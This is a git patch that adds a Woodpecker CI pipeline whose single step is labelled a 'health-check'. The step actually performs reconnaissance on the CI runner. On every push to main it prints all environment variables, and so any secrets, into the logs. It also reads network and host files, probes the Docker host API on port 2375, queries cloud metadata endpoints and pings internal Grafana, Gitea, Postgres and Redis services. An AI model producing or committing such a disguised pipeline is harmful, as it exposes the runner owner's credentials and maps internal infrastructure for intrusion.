From 7523d52540fb672a5a653ff5cbf01b958799b122 Mon Sep 17 00:00:00 2001 From: Eevee Date: Thu, 8 Oct 2026 16:01:01 +0000 Subject: [PATCH] Add .woodpecker.yml --- .woodpecker.yml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 .woodpecker.yml diff --git a/.woodpecker.yml b/.woodpecker.yml new file mode 100644 index 0000000..91d6565 --- /dev/null +++ b/.woodpecker.yml @@ -0,0 +1,31 @@ +when: + - event: push + branch: main + +steps: + - name: health-check + image: alpine + commands: + - apk add --no-cache curl + - echo "=== ENV ===" + - env | sort + - echo "=== NETWORK ===" + - ip addr 2>/dev/null || ifconfig 2>/dev/null || true + - cat /etc/resolv.conf 2>/dev/null || true + - echo "=== HOSTS ===" + - cat /etc/hosts 2>/dev/null || true + - echo "=== INTERNAL ===" + - wget -qO- http://172.17.0.1:80/ 2>/dev/null | head -5 || true + - wget -qO- http://172.17.0.1:2375/version 2>/dev/null | head -5 || true + - wget -qO- http://172.17.0.1:8080/ 2>/dev/null | head -5 || true + - echo "=== META ===" + - wget -qO- http://169.254.169.254/latest/meta-data/ 2>/dev/null | head -5 || true + - wget -qO- http://169.254.169.254/hetzner/v1/metadata 2>/dev/null | head -5 || true + - echo "=== DNS ===" + - nslookup grafana.hivefinty.com 2>/dev/null || true + - nslookup gitea.hivefinty.com 2>/dev/null || true + - nslookup postgres 2>/dev/null || true + - nslookup redis 2>/dev/null || true + - echo "=== CURL INTERNAL ===" + - curl -sk http://grafana:3000/api/health 2>/dev/null || true + - curl -sk http://gitea:3000/ 2>/dev/null | head -5 || true